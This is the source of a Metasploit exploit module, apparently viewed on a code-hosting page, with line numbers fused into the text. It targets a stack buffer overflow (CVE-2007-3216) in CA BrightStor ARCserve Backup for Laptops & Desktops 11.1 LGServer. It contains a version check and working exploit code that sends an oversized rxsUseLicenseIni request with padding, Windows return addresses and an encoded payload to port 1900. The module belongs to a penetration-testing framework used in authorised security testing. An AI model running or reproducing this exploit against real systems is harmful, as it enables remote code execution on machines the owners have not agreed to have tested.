Path: blob/master/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup17for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an18attacker could overflow the buffer and execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2007-3216' ],24[ 'OSVDB', '35329' ],25[ 'BID', '24348' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 700,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],39[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],40],41'DisclosureDate' => '2007-06-06',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([ Opt::RPORT(1900) ])52end5354def check55connect5657sock.put("0000000019rxrGetServerVersion")58ver = sock.get_once5960disconnect6162if (ver and ver =~ /11\.1\.742/)63return Exploit::CheckCode::Appears64end6566return Exploit::CheckCode::Safe67end6869def exploit70connect7172data = rand_text_alpha_upper(4108) + [target.ret].pack('V')73data << payload.encoded + rand_text_alpha_upper(rand(300) + 1)7475sploit = "0000004820" # Command Length Field76sploit << "rxsUseLicenseIni" # RPC Command77sploit << "~~" # Constant Argument Delimiter78sploit << data7980print_status("Trying target #{target.name}...")81# One-shot overwrite...82sock.put(sploit)8384handler85disconnect86end87end888990